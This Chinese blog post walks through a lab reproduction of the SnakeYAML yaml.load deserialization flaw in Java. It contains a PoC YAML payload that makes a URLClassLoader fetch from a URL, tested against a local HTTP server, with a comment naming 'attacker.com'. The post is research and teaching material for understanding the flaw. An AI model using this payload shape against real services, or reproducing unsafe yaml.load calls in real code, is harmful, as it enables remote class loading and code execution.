yaml.load反序列化漏洞复现

admin 2019年10月25日21:12:56安全文章评论1,166 views1060字阅读3分32秒阅读模式

0x00 正常的使用方式

代码如下:

1
2
3
4
5
6
7
8
9
10
import org.yaml.snakeyaml.Yaml;
public class Tester {
	public static void main(String[] args) {
	//正常的使用方式
	String normal = "key: hello yaml";
	Yaml yaml = new Yaml();
	Object obj = yaml.load(normal);
	System.out.print(obj);
	}
}

注:所依赖的jar包的下载地址:Download snakeyaml-1.7.jar

控制台的打印结果如下:

1
{key=hello yaml}

0x01 漏洞复现

可触发反序列化漏洞的PoC代码如下:

1
2
3
4
5
6
7
8
9
10
import org.yaml.snakeyaml.Yaml;
public class Tester {
	public static void main(String[] args) {
	//可触发反序列化漏洞的使用方式
	String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
                + "[[!!java.net.URL [\"http://127.0.0.1:8000\"]]]]";
	Yaml yaml = new Yaml();            // Unsafe instance of Yaml that allows any constructor to be called.
	Object obj = yaml.load(malicious); // Make request to http://attacker.com
	}
}

在该PoC中,被Yaml对象的load方法调用的“yaml字符串”是被精心构造的恶意代码。在该PoC的反序列化过程中,会向http://127.0.0.1:8000发起网络请求。

复现步骤:
(1)搭建Python SimpleHTTPServer
如图所示:

yaml.load反序列化漏洞复现

(2)运行PoC,观察运行结果

如图所示:

yaml.load反序列化漏洞复现

由图可知,SimpleHTTPServer受到了访问GET请求,反序列化漏洞复现成功。

0x02 后记

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年10月25日21:12:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  yaml.load反序列化漏洞复现 http://cn-sec.com/archives/70151.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: